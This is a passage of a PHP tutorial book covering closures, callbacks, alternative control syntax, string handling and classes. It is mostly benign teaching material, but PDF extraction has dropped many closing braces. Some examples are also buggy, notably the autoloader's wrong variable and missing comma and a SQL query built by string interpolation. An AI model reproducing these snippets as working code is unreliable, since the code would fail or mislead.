set of actions. Functions simplify the coding process, prevent redundant logic, and make code easier to
follow. This

topic describes the declaration and utilization of functions, arguments, parameters, return statements
and scope in

PHP.

Section 22.1: Closures

A closure is an anonymous function that can't access outside scope.

When defining an anonymous function as such, you're creating a "namespace" for that function. It
currently only

has access to that namespace.

$externalVariable = "Hello";

$secondExternalVariable = "Foo";

$myFunction = function() {

var_dump($externalVariable, $secondExternalVariable); // returns two error notice, since the

variables aren´t defined

It doesn't have access to any external variables. To grant this permission for this namespace to access
external

variables, you need to introduce it via closures (use()).

$myFunction = function() use($externalVariable, $secondExternalVariable) {

var_dump($externalVariable, $secondExternalVariable); // Hello Foo

This is heavily attributed to PHP's tight variable scoping - If a variable isn't defined within the scope, or
isn't brought in

with global then it does not exist.

Also note:

Inheriting variables from the parent scope is not the same as using global variables. Global variables
exist
in the global scope, which is the same no matter what function is executing.

The parent scope of a closure is the function in which the closure was declared (not necessarily the

function it was called from).

Taken from the PHP Documentation for Anonymous Functions

In PHP, closures use an early-binding approach. This means that variables passed to the closure's
namespace

using use keyword will have the same values when the closure was defined.

To change this behavior you should pass the variable by-reference.

$rate = .05;

// Exports variable to closure's scope

$calculateTax = function ($value) use ($rate) {

GoalKicker.com – PHP Notes for Professionals 126

return $value * $rate;

};

$rate = .1;

print $calculateTax(100); // 5

$rate = .05;

// Exports variable to closure's scope

$calculateTax = function ($value) use (&$rate) { // notice the & before $rate

return $value * $rate;

};

$rate = .1;

print $calculateTax(100); // 10

Default arguments are not implicitly required when defining anonymous functions with/without
closures.

$message = 'Im yelling at you';

$yell = function() use($message) {

echo strtoupper($message);

};

$yell(); // returns: IM YELLING AT YOU

Section 22.2: Assignment to variables

Anonymous functions can be assigned to variables for use as parameters where a callback is expected:

$uppercase = function($data) {

return strtoupper($data);

};

$mixedCase = ["Hello", "World"];

$uppercased = array_map($uppercase, $mixedCase);

print_r($uppercased);

These variables can also be used as standalone function calls:

echo $uppercase("Hello world!"); // HELLO WORLD!

Section 22.3: Objects as a function

class SomeClass {

public function __invoke($param1, $param2) {

// put your code here

$instance = new SomeClass();

$instance('First', 'Second'); // call the __invoke() method

An object with an __invoke method can be used exactly as any other function.

The __invoke method will have access to all properties of the object and will be able to call any
methods.

GoalKicker.com – PHP Notes for Professionals 127

Section 22.4: Using outside variables

The use construct is used to import variables into the anonymous function's scope:

$divisor = 2332;

$myfunction = function($number) use ($divisor) {

return $number / $divisor;

};

echo $myfunction(81620); //Outputs 35

Variables can also be imported by reference:

$collection = [];

$additem = function($item) use (&$collection) {

$collection[] = $item;

};

$additem(1);

$additem(2);

//$collection is now [1,2]

Section 22.5: Anonymous function

An anonymous function is just a function that doesn't have a name.

// Anonymous function

function() {

return "Hello World!";

};

In PHP, an anonymous function is treated like an expression and for this reason, it should be ended
with a

semicolon ;.

An anonymous function should be assigned to a variable.

// Anonymous function assigned to a variable

$sayHello = function($name) {

return "Hello $name!";

};

print $sayHello('John'); // Hello John

Or it should be passed as parameter of another function.

$users = [

['name' => 'Alice', 'age' => 20],

['name' => 'Bobby', 'age' => 22],

['name' => 'Carol', 'age' => 17]

];

// Map function applying anonymous function

$userName = array_map(function($user) {

return $user['name'];

}, $users);

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print_r($usersName); // ['Alice', 'Bobby', 'Carol']

Or even been returned from another function.

Self-executing anonymous functions:

// For PHP 7.x

(function () {

echo "Hello world!";

})();

// For PHP 5.x

call_user_func(function () {

echo "Hello world!";

});

Passing an argument into self-executing anonymous functions:

// For PHP 7.x

(function ($name) {

echo "Hello $name!";

})('John');

// For PHP 5.x

call_user_func(function ($name) {

echo "Hello $name!";

}, 'John');

Section 22.6: Pure functions

A pure function is a function that, given the same input, will always return the same output and are
side-effect

free.

// This is a pure function

function add($a, $b) {

return $a + $b;

Some side-effects are changing the filesystem, interacting with databases, printing to the screen.

// This is an impure function

function add($a, $b) {

echo "Adding...";

return $a + $b;

Section 22.7: Common functional methods in PHP

Mapping
Applying a function to all elements of an array:

array_map('strtoupper', $array);

Be aware that this is the only method of the list where the callback comes first.

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Reducing (or folding)

Reducing an array to a single value:

$sum = array_reduce($numbers, function ($carry, $number) {

return $carry + $number;

});

Filtering

Returns only the array items for which the callback returns true:

$onlyEven = array_filter($numbers, function ($number) {

return ($number % 2) === 0;

});

Section 22.8: Using built-in functions as callbacks

In functions taking callable as an argument, you can also put a string with PHP built-in function. It's
common to

use trim as array_map parameter to remove leading and trailing whitespace from all strings in the
array.

$arr = [' one ', 'two ', ' three'];

var_dump(array_map('trim', $arr));

// array(3) {

// [0] =>

// string(3) "one"

// [1] =>

// string(3) "two"
// [2] =>

// string(5) "three"

// }

Section 22.9: Scope

In PHP, an anonymous function has its own scope like any other PHP function.

In JavaScript, an anonymous function can access a variable in outside scope. But in PHP, this is not
permitted.

$name = 'John';

// Anonymous function trying access outside scope

$sayHello = function() {

return "Hello $name!";

print $sayHello('John'); // Hello !

// With notices active, there is also an Undefined variable $name notice

Section 22.10: Passing a callback function as a parameter

There are several PHP functions that accept user-defined callback functions as a parameter, such as:

call_user_func(), usort() and array_map().

Depending on where the user-defined callback function was defined there are different ways to pass
them:

Procedural style:

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function square($number)

return $number * $number;

$initial_array = [1, 2, 3, 4, 5];

$final_array = array_map('square', $initial_array);

var_dump($final_array); // prints the new array with 1, 4, 9, 16, 25

Object Oriented style:

class SquareHolder

function square($number)

return $number * $number;

$squaredHolder = new SquareHolder();

$initial_array = [1, 2, 3, 4, 5];

$final_array = array_map([$squaredHolder, 'square'], $initial_array);

var_dump($final_array); // prints the new array with 1, 4, 9, 16, 25

Object Oriented style using a static method:

class StaticSquareHolder

public static function square($number)

return $number * $number;

$initial_array = [1, 2, 3, 4, 5];

$final_array = array_map(['StaticSquareHolder', 'square'], $initial_array);

// or:
$final_array = array_map('StaticSquareHolder::square', $initial_array); // for PHP >= 5.2.3

var_dump($final_array); // prints the new array with 1, 4, 9, 16, 25

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Chapter 23: Alternative Syntax for Control

Structures

Section 23.1: Alternative if/else statement

<?php

if ($condition):

do_something();

elseif ($another_condition):

do_something_else();

else:

do_something_different();

endif;

?>

<?php if ($condition): ?>

<p>Do something in HTML</p>

<?php elseif ($another_condition): ?>

<p>Do something else in HTML</p>

<?php else: ?>

<p>Do something different in HTML</p>

<?php endif; ?>

Section 23.2: Alternative for statement

<?php

for ($i = 0; $i < 10; $i++):

do_something($i);

endfor;

?>

<?php for ($i = 0; $i < 10; $i++): ?>

<p>Do something in HTML with <?php echo $i; ?></p>

<?php endfor; ?>

Section 23.3: Alternative while statement

<?php

while ($condition):

do_something();

endwhile;

?>

<?php while ($condition): ?>

<p>Do something in HTML</p>

<?php endwhile; ?>

Section 23.4: Alternative foreach statement

<?php

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foreach ($collection as $item):

do_something($item);

endforeach;

?>

<?php foreach ($collection as $item): ?>

<p>Do something in HTML with <?php echo $item; ?></p>

<?php endforeach; ?>

Section 23.5: Alternative switch statement

<?php

switch ($condition):

case $value:

do_something();

break;

default:

do_something_else();

break;

endswitch;

?>

<?php switch ($condition): ?>

<?php case $value: /* having whitespace before your cases will cause an error */ ?>

<p>Do something in HTML</p>

<?php break; ?>

<?php default: ?>

<p>Do something else in HTML</p>

<?php break; ?>

<?php endswitch; ?>

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Chapter 24: String formatting

Section 24.1: String interpolation

You can also use interpolation to interpolate (insert) a variable within a string. Interpolation works in
double quoted

strings and the heredoc syntax only.

$name = 'Joel';
// $name will be replaced with `Joel`

echo "<p>Hello $name, Nice to see you.</p>";

#↕

#> "<p>Hello Joel, Nice to see you.</p>"

// Single Quotes: outputs $name as the raw text (without interpreting it)

echo 'Hello $name, Nice to see you.'; # Careful with this notation

#> "Hello $name, Nice to see you."

The complex (curly) syntax format provides another option which requires that you wrap your variable
within

curly braces {}. This can be useful when embedding variables within textual content and helping to
prevent

possible ambiguity between textual content and variables.

$name = 'Joel';

// Example using the curly brace syntax for the variable $name

echo "<p>We need more {$name}s to help us!</p>";

#> "<p>We need more Joels to help us!</p>"

// This line will throw an error (as `$names` is not defined)

echo "<p>We need more $names to help us!</p>";

#> "Notice: Undefined variable: names"

The {} syntax only interpolates variables starting with a $ into a string. The {} syntax does not evaluate
arbitrary

PHP expressions.

// Example tying to interpolate a PHP expression

echo "1 + 2 = {1 + 2}";

#> "1 + 2 = {1 + 2}"

// Example using a constant

define("HELLO_WORLD", "Hello World!!");

echo "My constant is {HELLO_WORLD}";

#> "My constant is {HELLO_WORLD}"

// Example using a function

function say_hello() {

return "Hello!";

};

echo "I say: {say_hello()}";

#> "I say: {say_hello()}"

However, the {} syntax does evaluate any array access, property access and function/method calls on
variables,

array elements or properties:

// Example accessing a value from an array — multidimensional access is allowed

$companions = [0 => ['name' => 'Amy Pond'], 1 => ['name' => 'Dave Random']];

echo "The best companion is: {$companions[0]['name']}";

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#> "The best companion is: Amy Pond"

// Example of calling a method on an instantiated object

class Person {

function say_hello() {

return "Hello!";

$max = new Person();

echo "Max says: {$max->say_hello()}";

#> "Max says: Hello!"

// Example of invoking a Closure — the parameter list allows for custom expressions
$greet = function($num) {

return "A $num greetings!";

};

echo "From us all: {$greet(10 ** 3)}";

#> "From us all: A 1000 greetings!"

Notice that the dollar $ sign can appear after the opening curly brace { as the above examples, or, like
in Perl or

Shell Script, can appear before it:

$name = 'Joel';

// Example using the curly brace syntax with dollar sign before the opening curly brace

echo "<p>We need more ${name}s to help us!</p>";

#> "<p>We need more Joels to help us!</p>"

The Complex (curly) syntax is not called as such because it's complex, but rather because it allows for

the use of 'complex expressions'. Read more about Complex (curly) syntax

Section 24.2: Extracting/replacing substrings

Single characters can be extracted using array (square brace) syntax as well as curly brace syntax.
These two

syntaxes will only return a single character from the string. If more than one character is needed, a
function will be

required, i.e.- substr

Strings, like everything in PHP, are 0-indexed.

$foo = 'Hello world';

$foo[6]; // returns 'w'

$foo{6}; // also returns 'w'

substr($foo, 6, 1); // also returns 'w'

substr($foo, 6, 2); // returns 'wo'

Strings can also be changed one character at a time using the same square brace and curly brace
syntax. Replacing

more than one character requires a function, i.e.- substr_replace

$foo = 'Hello world';

$foo[6] = 'W'; // results in $foo = 'Hello World'

$foo{6} = 'W'; // also results in $foo = 'Hello World'

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substr_replace($foo, 'W', 6, 1); // also results in $foo = 'Hello World'

substr_replace($foo, 'Whi', 6, 2); // results in 'Hello Whirled'

// note that the replacement string need not be the same length as the substring replaced

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Chapter 25: String Parsing

Section 25.1: Splitting a string by separators

explode and strstr are simpler methods to get substrings by separators.

A string containing several parts of text that are separated by a common character can be split into
parts with the

explode function.

$fruits = "apple,pear,grapefruit,cherry";

print_r(explode(",",$fruits)); // ['apple', 'pear', 'grapefruit', 'cherry']

The method also supports a limit parameter that can be used as follow:

$fruits= 'apple,pear,grapefruit,cherry';

If the limit parameter is zero, then this is treated as 1.

print_r(explode(',',$fruits,0)); // ['apple,pear,grapefruit,cherry']

If limit is set and positive, the returned array will contain a maximum of limit elements with the last
element

containing the rest of string.

print_r(explode(',',$fruits,2)); // ['apple', 'pear,grapefruit,cherry']

If the limit parameter is negative, all components except the last -limit are returned.

print_r(explode(',',$fruits,-1)); // ['apple', 'pear', 'grapefruit']

explode can be combined with list to parse a string into variables in one line:

$email = "user@example.com";

list($name, $domain) = explode("@", $email);

However, make sure that the result of explode contains enough elements, or an undefined index
warning would be

triggered.

strstr strips away or only returns the substring before the first occurrence of the given needle.

$string = "1:23:456";

echo json_encode(explode(":", $string)); // ["1","23","456"]

var_dump(strstr($string, ":")); // string(7) ":23:456"

var_dump(strstr($string, ":", true)); // string(1) "1"

Section 25.2: Substring

Substring returns the portion of string specified by the start and length parameters.

var_dump(substr("Boo", 1)); // string(2) "oo"

If there is a possibility of meeting multi-byte character strings, then it would be safer to use
mb_substr.

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$cake = "cakeæøå";

var_dump(substr($cake, 0, 5)); // string(5) "cake"

var_dump(mb_substr($cake, 0, 5, 'UTF-8')); // string(6) "cakeæ"

Another variant is the substr_replace function, which replaces text within a portion of a string.

var_dump(substr_replace("Boo", "0", 1, 1)); // string(3) "B0o"

var_dump(substr_Replace("Boo", "ts", strlen("Boo"))); // string(5) "Boots"

Let's say you want to find a specific word in a string - and don't want to use Regex.
$hi = "Hello World!";

$bye = "Goodbye cruel World!";

var_dump(strpos($hi, " ")); // int(5)

var_dump(strpos($bye, " ")); // int(7)

var_dump(substr($hi, 0, strpos($hi, " "))); // string(5) "Hello"

var_dump(substr($bye, -1 * (strlen($bye) - strpos($bye, " ")))); // string(13) " cruel World!"

// If the casing in the text is not important, then using strtolower helps to compare strings

var_dump(substr($hi, 0, strpos($hi, " ")) == 'hello'); // bool(false)

var_dump(strtolower(substr($hi, 0, strpos($hi, " "))) == 'hello'); // bool(true)

Another option is a very basic parsing of an email.

$email = "test@example.com";

$wrong = "foobar.co.uk";

$notld = "foo@bar";

$at = strpos($email, "@"); // int(4)

$wat = strpos($wrong, "@"); // bool(false)

$nat = strpos($notld , "@"); // int(3)

$domain = substr($email, $at + 1); // string(11) "example.com"

$womain = substr($wrong, $wat + 1); // string(11) "oobar.co.uk"

$nomain = substr($notld, $nat + 1); // string(3) "bar"

$dot = strpos($domain, "."); // int(7)

$wot = strpos($womain, "."); // int(5)

$not = strpos($nomain, "."); // bool(false)

$tld = substr($domain, $dot + 1); // string(3) "com"

$wld = substr($womain, $wot + 1); // string(5) "co.uk"

$nld = substr($nomain , $not + 1); // string(2) "ar"

// string(25) "test@example.com is valid"

if ($at && $dot) var_dump("$email is valid");

else var_dump("$email is invalid");

// string(21) "foobar.com is invalid"

if ($wat && $wot) var_dump("$wrong is valid");

else var_dump("$wrong is invalid");

// string(18) "foo@bar is invalid"

if ($nat && $not) var_dump("$notld is valid");

else var_dump("$notld is invalid");

// string(27) "foobar.co.uk is an UK email"

if ($tld == "co.uk") var_dump("$email is a UK address");

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if ($wld == "co.uk") var_dump("$wrong is a UK address");

if ($nld == "co.uk") var_dump("$notld is a UK address");

Or even putting the "Continue reading" or "..." at the end of a blurb

$blurb = "Lorem ipsum dolor sit amet";

$limit = 20;

var_dump(substr($blurb, 0, $limit - 3) . '...'); // string(20) "Lorem ipsum dolor..."

Section 25.3: Searching a substring with strpos

strpos can be understood as the number of bytes in the haystack before the first occurrence of the
needle.

var_dump(strpos("haystack", "hay")); // int(0)

var_dump(strpos("haystack", "stack")); // int(3)

var_dump(strpos("haystack", "stackoverflow"); // bool(false)

Checking if a substring exists

Be careful with checking against TRUE or FALSE because if a index of 0 is returned an if statement will
see this as

FALSE.

$pos = strpos("abcd", "a"); // $pos = 0;

$pos2 = strpos("abcd", "e"); // $pos2 = FALSE;

// Bad example of checking if a needle is found.

if($pos) { // 0 does not match with TRUE.

echo "1. I found your string\n";

else {

echo "1. I did not found your string\n";

// Working example of checking if needle is found.

if($pos !== FALSE) {

echo "2. I found your string\n";

else {

echo "2. I did not found your string\n";

// Checking if a needle is not found

if($pos2 === FALSE) {

echo "3. I did not found your string\n";

else {

echo "3. I found your string\n";

}
Output of the whole example:

1. I did not found your string

2. I found your string

3. I did not found your string

Search starting from an offset

// With offset we can search ignoring anything before the offset

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$needle = "Hello";

$haystack = "Hello world! Hello World";

$pos = strpos($haystack, $needle, 1); // $pos = 13, not 0

Get all occurrences of a substring

$haystack = "a baby, a cat, a donkey, a fish";

$needle = "a ";

$offsets = [];

// start searching from the beginning of the string

for($offset = 0;

// If our offset is beyond the range of the

// string, don't search anymore.

// If this condition is not set, a warning will

// be triggered if $haystack ends with $needle

// and $needle is only one byte long.

$offset < strlen($haystack); ){

$pos = strpos($haystack, $needle, $offset);

// we don't have anymore substrings

if($pos === false) break;

$offsets[] = $pos;

// You may want to add strlen($needle) instead,

// depending on whether you want to count "aaa"

// as 1 or 2 "aa"s.

$offset = $pos + 1;

echo json_encode($offsets); // [0,8,15,25]

Section 25.4: Parsing string using regular expressions

preg_match can be used to parse string using regular expression. The parts of expression enclosed in
parenthesis

are called subpatterns and with them you can pick individual parts of the string.

$str = "<a href=\"http://example.org\">My Link</a>";

$pattern = "/<a href=\"(.*)\">(.*)<\/a>/";

$result = preg_match($pattern, $str, $matches);

if($result === 1) {

// The string matches the expression

print_r($matches);

} else if($result === 0) {

// No match

} else {

// Error occurred

Output

Array

[0] => <a href="http://example.org">My Link</a>

[1] => http://example.org

[2] => My Link

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Chapter 26: Classes and Objects

Classes and Objects are used to to make your code more efficient and less repetitive by grouping
similar tasks.

A class is used to define the actions and data structure used to build objects. The objects are then built
using this

predefined structure.

Section 26.1: Class Constants

Class constants provide a mechanism for holding fixed values in a program. That is, they provide a way
of giving a

name (and associated compile-time checking) to a value like 3.14 or "Apple". Class constants can only
be defined

with the const keyword - the define function cannot be used in this context.

As an example, it may be convenient to have a shorthand representation for the value of π throughout
a program.

A class with const values provides a simple way to hold such values.

class MathValues {

const PI = M_PI;

const PHI = 1.61803;

$area = MathValues::PI * $radius * $radius;

Class constants may be accessed by using the double colon operator (so-called the scope resolution
operator) on a

class, much like static variables. Unlike static variables, however, class constants have their values
fixed at compile
time and cannot be reassigned to (e.g. MathValues::PI = 7 would produce a fatal error).

Class constants are also useful for defining things internal to a class that might need changing later
(but do not

change frequently enough to warrant storing in, say, a database). We can reference this internally
using the self

scope resolutor (which works in both instanced and static implementations)

class Labor {

/** How long, in hours, does it take to build the item? */

const LABOR_UNITS = 0.26;

/** How much are we paying employees per hour? */

const LABOR_COST = 12.75;

public function getLaborCost($number_units) {

return (self::LABOR_UNITS * self::LABOR_COST) * $number_units;

Class constants can only contain scalar values in versions < 5.6

As of PHP 5.6 we can use expressions with constants, meaning math statements and strings with
concatenation are

acceptable constants

class Labor {

/** How much are we paying employees per hour? Hourly wages * hours taken to make */

const LABOR_COSTS = 12.75 * 0.26;

public function getLaborCost($number_units) {

return self::LABOR_COSTS * $number_units;

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As of PHP 7.0, constants declared with define may now contain arrays.

define("BAZ", array('baz'));

Class constants are useful for more than just storing mathematical concepts. For example, if preparing
a pie, it

might be convenient to have a single Pie class capable of taking different kinds of fruit.

class Pie {

protected $fruit;

public function __construct($fruit) {

$this->fruit = $fruit;

We can then use the Pie class like so

$pie = new Pie("strawberry");

The problem that arises here is, when instantiating the Pie class, no guidance is provided as to the
acceptable

values. For example, when making a "boysenberry" pie, it might be misspelled "boisenberry".
Furthermore, we

might not support a plum pie. Instead, it would be useful to have a list of acceptable fruit types
already defined

somewhere it would make sense to look for them. Say a class named Fruit:

class Fruit {

const APPLE = "apple";

const STRAWBERRY = "strawberry";

const BOYSENBERRY = "boysenberry";

$pie = new Pie(Fruit::STRAWBERRY);

Listing the acceptable values as class constants provides a valuable hint as to the acceptable values
which a method

accepts. It also ensures that misspellings cannot make it past the compiler. While new Pie('aple') and
new

Pie('apple') are both acceptable to the compiler, new Pie(Fruit::APLE) will produce a compiler error.

Finally, using class constants means that the actual value of the constant may be modified in a single
place, and any

code using the constant automatically has the effects of the modification.

Whilst the most common method to access a class constant is MyClass::CONSTANT_NAME, it may also
be accessed

by:

echo MyClass::CONSTANT;

$classname = "MyClass";

echo $classname::CONSTANT; // As of PHP 5.3.0

Class constants in PHP are conventionally named all in uppercase with underscores as word
separators, although

any valid label name may be used as a class constant name.

As of PHP 7.1, class constants may now be defined with different visibilities from the default public
scope. This

means that both protected and private constants can now be defined to prevent class constants from
unnecessarily

leaking into the public scope (see Method and Property Visibility ). For example:

class Something {

const PUBLIC_CONST_A = 1;

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public const PUBLIC_CONST_B = 2;

protected const PROTECTED_CONST = 3;

private const PRIVATE_CONST = 4;

}
define vs class constants

Although this is a valid construction:

function bar() { return 2; };

define('BAR', bar());

If you try to do the same with class constants, you'll get an error:

function bar() { return 2; };

class Foo {

const BAR = bar(); // Error: Constant expression contains invalid operations

But you can do:

function bar() { return 2; };

define('BAR', bar());

class Foo {

const BAR = BAR; // OK

For more information, see constants in the manual.

Using ::class to retrieve class's name

PHP 5.5 introduced the ::class syntax to retrieve the full class name, taking namespace scope and use
statements

into account.

namespace foo;

use bar\Bar;

echo json_encode(Bar::class); // "bar\\Bar"

echo json_encode(Foo::class); // "foo\\Foo"

echo json_encode(\Foo::class); // "Foo"

The above works even if the classes are not even defined (i.e. this code snippet works alone).
This syntax is useful for functions that require a class name. For example, it can be used with
class_exists to

check a class exists. No errors will be generated regardless of return value in this snippet:

class_exists(ThisClass\Will\NeverBe\Loaded::class, false);

Section 26.2: Abstract Classes

An abstract class is a class that cannot be instantiated. Abstract classes can define abstract methods,
which are

methods without any body, only a definition:

abstract class MyAbstractClass {

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abstract public function doSomething($a, $b);

Abstract classes should be extended by a child class which can then provide the implementation of
these abstract

methods.

The main purpose of a class like this is to provide a kind of template that allows children classes to
inherit from,

"forcing" a structure to adhere to. Lets elaborate on this with an example:

In this example we will be implementing a Worker interface. First we define the interface:

interface Worker {

public function run();

To ease the development of further Worker implementations, we will create an abstract worker class
that already

provides the run() method from the interface, but specifies some abstract methods that need to be
filled in by any

child class:

abstract class AbstractWorker implements Worker {

protected $pdo;

protected $logger;

public function __construct(PDO $pdo, Logger $logger) {

$this->pdo = $pdo;

$this->logger = $logger;

public function run() {

try {

$this->setMemoryLimit($this->getMemoryLimit());

$this->logger->log("Preparing main");

$this->prepareMain();

$this->logger->log("Executing main");

$this->main();

} catch (Throwable $e) {

// Catch and rethrow all errors so they can be logged by the worker

$this->logger->log("Worker failed with exception: {$e->getMessage()}");

throw $e;

private function setMemoryLimit($memoryLimit) {

ini_set('memory_limit', $memoryLimit);

$this->logger->log("Set memory limit to $memoryLimit");

abstract protected function getMemoryLimit();

abstract protected function prepareMain();

abstract protected function main();

First of all, we have provided an abstract method getMemoryLimit(). Any class extending from
AbstractWorker

needs to provide this method and return its memory limit. The AbstractWorker then sets the memory
limit and

logs it.

Secondly the AbstractWorker calls the prepareMain() and main() methods, after logging that they have
been

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called.

Finally, all of these method calls have been grouped in a try-catch block. So if any of the abstract
methods defined

by the child class throws an exception, we will catch that exception, log it and rethrow it. This prevents
all child

classes from having to implement this themselves.

Now lets define a child class that extends from the AbstractWorker:

class TranscactionProcessorWorker extends AbstractWorker {

private $transactions;

protected function getMemoryLimit() {

return "512M";

protected function prepareMain() {

$stmt = $this->pdo->query("SELECT * FROM transactions WHERE processed = 0 LIMIT 500");

$stmt->execute();

$this->transactions = $stmt->fetchAll();

}
protected function main() {

foreach ($this->transactions as $transaction) {

// Could throw some PDO or MYSQL exception, but that is handled by the AbstractWorker

$stmt = $this->pdo->query("UPDATE transactions SET processed = 1 WHERE id =

{$transaction['id']} LIMIT 1");

$stmt->execute();

As you can see, the TransactionProcessorWorker was rather easy to implement, as we only had to
specify the

memory limit and worry about the actual actions that it needed to perform. No error handling is
needed in the

TransactionProcessorWorker because that is handled in the AbsractWorker.

Important Note

When inheriting from an abstract class, all methods marked abstract in the parent's class declaration

must be defined by the child (or the child itself must also be marked abstract); additionally, these

methods must be defined with the same (or a less restricted) visibility. For example, if the abstract

method is defined as protected, the function implementation must be defined as either protected or

public, but not private.

Taken from the PHP Documentation for Class Abstraction.

If you do not define the parent abstract classes methods within the child class, you will be thrown a
Fatal PHP

Error like the following.

Fatal error: Class X contains 1 abstract method and must therefore be declared abstract or implement

the remaining methods (X::x) in

Section 26.3: Late static binding

In PHP 5.3+ and above you can utilize late static binding to control which class a static property or
method is called

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from. It was added to overcome the problem inherent with the self:: scope resolutor. Take the
following code

class Horse {

public static function whatToSay() {

echo 'Neigh!';

public static function speak() {

self::whatToSay();

class MrEd extends Horse {

public static function whatToSay() {

echo 'Hello Wilbur!';

You would expect that the MrEd class will override the parent whatToSay() function. But when we run
this we get

something unexpected

Horse::speak(); // Neigh!

MrEd::speak(); // Neigh!

The problem is that self::whatToSay(); can only refer to the Horse class, meaning it doesn't obey MrEd.
If we

switch to the static:: scope resolutor, we don't have this problem. This newer method tells the class to
obey the
instance calling it. Thus we get the inheritance we're expecting

class Horse {

public static function whatToSay() {

echo 'Neigh!';

public static function speak() {

static::whatToSay(); // Late Static Binding

Horse::speak(); // Neigh!

MrEd::speak(); // Hello Wilbur!

Section 26.4: Namespacing and Autoloading

Technically, autoloading works by executing a callback when a PHP class is required but not found.
Such callbacks

usually attempt to load these classes.

Generally, autoloading can be understood as the attempt to load PHP files (especially PHP class files,
where a PHP

source file is dedicated for a specific class) from appropriate paths according to the class's fully-
qualified name

(FQN) when a class is needed.

Suppose we have these classes:

Class file for application\controllers\Base:

<?php

namespace application\controllers { class Base {...} }

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Class file for application\controllers\Control:

<?php
namespace application\controllers { class Control {...} }

Class file for application\models\Page:

<?php

namespace application\models { class Page {...} }

Under the source folder, these classes should be placed at the paths as their FQNs respectively:

Source folder

applications

controllers

Base.php

Control.php

models

Page.php

This approach makes it possible to programmatically resolve the class file path according to the FQN,
using this

function:

function getClassPath(string $sourceFolder, string $className, string $extension = ".php") {

return $sourceFolder . "/" . str_replace("\\", "/", $className) . $extension; // note that "/"

works as a directory separator even on Windows

The spl_autoload_register function allows us to load a class when needed using a user-defined
function:

const SOURCE_FOLDER = __DIR__ . "/src";

spl_autoload_register(function (string $className) {

$file = getClassPath(SOURCE_FOLDER, $className);

if (is_readable($file)) require_once $file;

});
This function can be further extended to use fallback methods of loading:

const SOURCE_FOLDERS = [__DIR__ . "/src", "/root/src"]);

spl_autoload_register(function (string $className) {

foreach(SOURCE_FOLDERS as $folder) {

$extensions = [

// do we have src/Foo/Bar.php5_int64?

".php" . PHP_MAJOR_VERSION . "_int" . (PHP_INT_SIZE * 8),

// do we have src/Foo/Bar.php7?

".php" . PHP_MAJOR_VERSION,

// do we have src/Foo/Bar.php_int64?

".php" . "_int" . (PHP_INT_SIZE * 8),

// do we have src/Foo/Bar.phps?

".phps"

// do we have src/Foo/Bar.php?

".php"

];

foreach($extensions as $ext) {

$path = getClassPath($folder, $className, $extension);

if(is_readable($path)) return $path;

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});

Note that PHP doesn't attempt to load the classes whenever a file that uses this class is loaded. It may
be loaded in

the middle of a script, or even in shutdown functions . This is one of the reasons why developers,
especially those

who use autoloading, should avoid replacing executing source files in the runtime, especially in phar
files.

Section 26.5: Method and Property Visibility

There are three visibility types that you can apply to methods (class/object functions) and properties
(class/object

variables) within a class, which provide access control for the method or property to which they are
applied.

You can read extensively about these in the PHP Documentation for OOP Visibility.

Public

Declaring a method or a property as public allows the method or property to be accessed by:

The class that declared it.

The classes that extend the declared class.

Any external objects, classes, or code outside the class hierarchy.

An example of this public access would be:

class MyClass {

// Property

public $myProperty = 'test';

// Method

public function myMethod() {

return $this->myProperty;

$obj = new MyClass();

echo $obj->myMethod();

// Out: test

echo $obj->myProperty;
// Out: test

Protected

Declaring a method or a property as protected allows the method or property to be accessed by:

The class that declared it.

The classes that extend the declared class.

This does not allow external objects, classes, or code outside the class hierarchy to access these
methods or

properties. If something using this method/property does not have access to it, it will not be available,
and an error

will be thrown. Only instances of the declared self (or subclasses thereof) have access to it.

An example of this protected access would be:

class MyClass {

protected $myProperty = 'test';

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protected function myMethod() {

return $this->myProperty;

class MySubClass extends MyClass {

public function run() {

echo $this->myMethod();

$obj = new MySubClass();

$obj->run(); // This will call MyClass::myMethod();

// Out: test
$obj->myMethod(); // This will fail.

// Out: Fatal error: Call to protected method MyClass::myMethod() from context ''

The example above notes that you can only access the protected elements within it's own scope.
Essentially: "What's in

the house can only be access from inside the house."

Private

Declaring a method or a property as private allows the method or property to be accessed by:

The class that declared it Only (not subclasses).

A private method or property is only visible and accessible within the class that created it.

Note that objects of the same type will have access to each others private and protected members
even though

they are not the same instances.

class MyClass {

private $myProperty = 'test';

private function myPrivateMethod() {

return $this->myProperty;

public function myPublicMethod() {

return $this->myPrivateMethod();

public function modifyPrivatePropertyOf(MyClass $anotherInstance) {

$anotherInstance->myProperty = "new value";

class MySubClass extends MyClass {

public function run() {

echo $this->myPublicMethod();

public function runWithPrivate() {

echo $this->myPrivateMethod();

$obj = new MySubClass();

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$newObj = new MySubClass();

// This will call MyClass::myPublicMethod(), which will then call

// MyClass::myPrivateMethod();

$obj->run();

// Out: test

$obj->modifyPrivatePropertyOf($newObj);

$newObj->run();

// Out: new value

echo $obj->myPrivateMethod(); // This will fail.

// Out: Fatal error: Call to private method MyClass::myPrivateMethod() from context ''

echo $obj->runWithPrivate(); // This will also fail.

// Out: Fatal error: Call to private method MyClass::myPrivateMethod() from context 'MySubClass'

As noted, you can only access the private method/property from within it's defined class.

Section 26.6: Interfaces

Introduction

Interfaces are definitions of the public APIs classes must implement to satisfy the interface. They work
as
"contracts", specifying what a set of subclasses does, but not how they do it.

Interface definition is much alike class definition, changing the keyword class to interface:

interface Foo {

Interfaces can contain methods and/or constants, but no attributes. Interface constants have the same
restrictions

as class constants. Interface methods are implicitly abstract:

interface Foo {

const BAR = 'BAR';

public function doSomething($param1, $param2);

Note: interfaces must not declare constructors or destructors, since these are implementation details
on the class

level.

Realization

Any class that needs to implement an interface must do so using the implements keyword. To do so,
the class

needs to provide a implementation for every method declared in the interface, respecting the same
signature.

A single class can implement more than one interface at a time.

interface Foo {

public function doSomething($param1, $param2);

interface Bar {

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public function doAnotherThing($param1);

}
class Baz implements Foo, Bar {

public function doSomething($param1, $param2) {

// ...

public function doAnotherThing($param1) {

// ...

When abstract classes implement interfaces, they do not need to implement all methods. Any method
not

implemented in the base class must then be implemented by the concrete class that extends it:

abstract class AbstractBaz implements Foo, Bar {

// Partial implementation of the required interface...

public function doSomething($param1, $param2) {

// ...

class Baz extends AbstractBaz {

public function doAnotherThing($param1) {

// ...

Notice that interface realization is an inherited characteristic. When extending a class that implements
an interface,

you do not need to redeclare it in the concrete class, because it is implicit.

Note: Prior to PHP 5.3.9, a class could not implement two interfaces that specified a method with the
same name, since it would cause ambiguity. More recent versions of PHP allow this as long as the

duplicate methods have the same signature[1].

Inheritance

Like classes, it is possible to establish an inheritance relationship between interfaces, using the same
keyword

